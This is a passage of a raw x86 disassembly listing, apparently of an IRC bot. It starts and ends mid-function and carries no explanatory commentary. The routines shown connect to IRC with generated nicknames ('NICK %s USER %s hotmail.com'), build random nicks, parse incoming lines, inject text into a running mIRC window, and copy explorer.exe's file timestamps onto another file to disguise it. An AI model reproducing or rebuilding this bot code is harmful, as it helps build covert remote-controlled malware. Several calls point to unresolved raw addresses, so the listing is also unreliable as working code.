		xor	eax, eax


loc_4178B6:				; CODE XREF: sub_4177D0+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BB	proc near		; DATA XREF: sub_417A60+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D46F4[esi]
		mov	dword_4D46E8[esi], edi
		push	dword_4D48F4[esi]
		push	eax
		call	sub_417703
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D46EC[esi], eax
		jb	loc_417A40
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADE
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADE
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADE
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D46EC[esi]
		call	dword_4CB6A4
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_417997:				; CODE XREF: sub_4178BB+111j
					; sub_4178BB+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D46EC[esi]
		call	dword_4CB66C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A40
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417997


loc_4179CE:				; CODE XREF: sub_4178BB+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F5
		cmp	al, 0Ah
		jz	short loc_4179F5
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F5
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2F
; ---------------------------------------------------------------------------


loc_4179F5:				; CODE XREF: sub_4178BB+11Cj
					; sub_4178BB+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2F
		push	dword_4D46EC[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A40
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417A2F:				; CODE XREF: sub_4178BB+138j
					; sub_4178BB+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CE
		jmp	loc_417997
; ---------------------------------------------------------------------------


loc_417A40:				; CODE XREF: sub_4178BB+40j
					; sub_4178BB+107j ...
		mov	dword_4D46E8[esi], ebx
		mov	esi, dword_4D46EC[esi]
		cmp	esi, ebx
		jbe	short loc_417A57
		push	esi
		call	dword_4CB6EC


loc_417A57:				; CODE XREF: sub_4178BB+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A60	proc near		; CODE XREF: sub_401ACD+31E2p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD9


loc_417A72:				; CODE XREF: sub_417A60+77j
		xor	edi, edi
		mov	eax, offset dword_4D46E8


loc_417A79:				; CODE XREF: sub_417A60+28j
		cmp	[eax], ebx
		jz	short loc_417A8A
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DAE08
		jl	short loc_417A79


loc_417A8A:				; CODE XREF: sub_417A60+1Bj
		cmp	edi, 31h
		jz	short loc_417AD9
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D46F4[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D48F4[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D46E8[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BB
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A72


loc_417AD9:				; CODE XREF: sub_417A60+10j
					; sub_417A60+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADE	proc near		; CODE XREF: sub_401ACD+374Ep
					; sub_401ACD+3794p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B28
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_4385E8[edx*4]
		jmp	short loc_417B41
; ---------------------------------------------------------------------------


loc_417B28:				; CODE XREF: sub_417ADE+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_4382E8[edx*4]


loc_417B41:				; CODE XREF: sub_417ADE+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB4
		cmp	esi, 3
		jnz	short loc_417BAB
		cmp	ebx, 1
		jz	short loc_417BB4


loc_417BAB:				; CODE XREF: sub_417ADE+C6j
		cmp	eax, 1
		jnz	loc_417C6E


loc_417BB4:				; CODE XREF: sub_417ADE+C1j
					; sub_417ADE+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		push	off_4385E8[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5B
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5B
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5B
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E0
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_417C5B:				; CODE XREF: sub_417ADE+111j
					; sub_417ADE+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch


loc_417C6E:				; CODE XREF: sub_417ADE+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED6
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCD
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDC
		cmp	eax, 1
		jnz	loc_417DCD


loc_417CDC:				; CODE XREF: sub_417ADE+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1E
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E0
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D3A
; ---------------------------------------------------------------------------


loc_417D1E:				; CODE XREF: sub_417ADE+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_417D3A:				; CODE XREF: sub_417ADE+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D63
		cmp	eax, ebx
		jnz	short loc_417DCD


loc_417D63:				; CODE XREF: sub_417ADE+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA8
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E0
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC6
; ---------------------------------------------------------------------------


loc_417DA8:				; CODE XREF: sub_417ADE+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_417DC6:				; CODE XREF: sub_417ADE+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_417DCD:				; CODE XREF: sub_417ADE+1C9j
					; sub_417ADE+1F8j ...
		cmp	esi, 6
		jge	loc_417E56
		cmp	esi, 5
		jge	short loc_417DEE
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E8
		jmp	short loc_417E0C
; ---------------------------------------------------------------------------


loc_417DEE:				; CODE XREF: sub_417ADE+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0


loc_417E0C:				; CODE XREF: sub_417ADE+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2F
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4C
; ---------------------------------------------------------------------------


loc_417E2F:				; CODE XREF: sub_417ADE+335j
		cmp	eax, 1
		jnz	short loc_417E56
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		mov	cl, 41h


loc_417E4C:				; CODE XREF: sub_417ADE+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_417E56:				; CODE XREF: sub_417ADE+2F2j
					; sub_417ADE+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED6
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED6
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED6
		cmp	[ebp+var_C], eax
		jge	short loc_417ED6
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B0
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_417ED6:				; CODE XREF: sub_417ADE+1B1j
					; sub_417ADE+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEF	proc near		; CODE XREF: sub_401ACD+BECp
					; sub_401ACD+C29p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F7A
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F7A
		cmp	[ebp+arg_8], esi
		jz	short loc_417F7A
		cmp	byte ptr [eax],	0
		jz	short loc_417F7A
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F75
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6E
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi


loc_417F6E:				; CODE XREF: sub_417EEF+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx


loc_417F75:				; CODE XREF: sub_417EEF+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7C
; ---------------------------------------------------------------------------


loc_417F7A:				; CODE XREF: sub_417EEF+Cj
					; sub_417EEF+13j ...
		xor	eax, eax


loc_417F7C:				; CODE XREF: sub_417EEF+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F80	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F1p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB6
		or	eax, 0FFFFFFFFh
		jmp	short loc_418029
; ---------------------------------------------------------------------------


loc_417FB6:				; CODE XREF: sub_417F80+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD8


loc_417FC2:				; CODE XREF: sub_417F80+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCF
		cmp	dl, 0Dh
		jnz	short loc_417FD3


loc_417FCF:				; CODE XREF: sub_417F80+48j
		and	byte ptr [ecx+esi], 0


loc_417FD3:				; CODE XREF: sub_417F80+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC2


loc_417FD8:				; CODE XREF: sub_417F80+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418009
		lea	edi, [ebp+var_7CC]


loc_417FE5:				; CODE XREF: sub_417F80+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418004
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418004
		cmp	ebx, 1F4h
		jge	short loc_418009
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418004:				; CODE XREF: sub_417F80+69j
					; sub_417F80+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE5


loc_418009:				; CODE XREF: sub_417F80+5Dj
					; sub_417F80+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418027
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch


loc_418027:				; CODE XREF: sub_417F80+8Ej
		mov	eax, ebx


loc_418029:				; CODE XREF: sub_417F80+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802D	proc near		; CODE XREF: sub_418087+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418066
		push	ebx
		mov	ebx, edi


loc_41804A:				; CODE XREF: sub_41802D+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418069
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_41804A
		pop	ebx


loc_418066:				; CODE XREF: sub_41802D+18j
		pop	edi
		pop	esi
		retn
sub_41802D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418069	proc near		; CODE XREF: sub_41802D+25p
					; sub_418087+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418084
		cmp	al, 7Ah
		jg	short loc_418084
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418084:				; CODE XREF: sub_418069+Ej
					; sub_418069+12j
		xor	eax, eax
		retn
sub_418069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418087	proc near		; CODE XREF: ___:0041532Ep

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802D
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_4180C5:				; CODE XREF: sub_418087+B6j
		test	esi, esi
		jle	short loc_418143
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813B


loc_4180EB:				; CODE XREF: sub_418087+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418069
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810C
		mov	eax, ecx


loc_41810C:				; CODE XREF: sub_418087+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813F
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EB


loc_41813B:				; CODE XREF: sub_418087+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C5
; ---------------------------------------------------------------------------


loc_41813F:				; CODE XREF: sub_418087+8Aj
		xor	eax, eax
		jmp	short loc_418148
; ---------------------------------------------------------------------------


loc_418143:				; CODE XREF: sub_418087+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418148:				; CODE XREF: sub_418087+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814D	proc near		; CODE XREF: sub_401ACD+67A4p
					; sub_401ACD+789Fp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2680932h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 27D0000h
		nop
		lea	eax, [ebp+var_100]


loc_418186:				; CODE XREF: sub_41814D+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418192
		cmp	cl, 9
		jnz	short loc_418195


loc_418192:				; CODE XREF: sub_41814D+3Ej
		inc	eax
		jmp	short loc_418186
; ---------------------------------------------------------------------------


loc_418195:				; CODE XREF: sub_41814D+43j
					; sub_41814D+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AF
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418195
		cmp	cl, 21h
		jl	short loc_418195


loc_4181AF:				; CODE XREF: sub_41814D+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DAE0C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D7	proc near		; CODE XREF: sub_401ACD+24CBp
		push	esi
		push	0
		call	dword_4CB624
		test	eax, eax
		jz	short loc_41820E
		push	1
		call	dword_4CB644
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820E
		push	edi
		push	esi
		nop
		call	near ptr 27E0702h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 27E0000h
		call	dword_4CB6A8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41820E:				; CODE XREF: sub_4181D7+Bj
					; sub_4181D7+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_418212	proc near		; CODE XREF: sub_401ACD+7662p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB660
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828E
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 27F0222h
		nop
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 27F0000h
		nop
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CB6B0
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CB6B0
		push	ebx
		nop
		call	near ptr 27E0D39h
		push	edi
		call	near ptr 26608E1h
		nop
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_418290
; ---------------------------------------------------------------------------


loc_41828E:				; CODE XREF: sub_418212+16j
		xor	eax, eax


loc_418290:				; CODE XREF: sub_418212+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418294	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB710
		test	eax, eax
		jz	short loc_418333
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418333
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	near ptr 2800743h
		nop
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418333
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	near ptr 2800000h
		nop
		push	esi
		call	ebx


loc_418333:				; CODE XREF: sub_418294+2Aj
					; sub_418294+51j ...
		pop	edi
		pop	esi
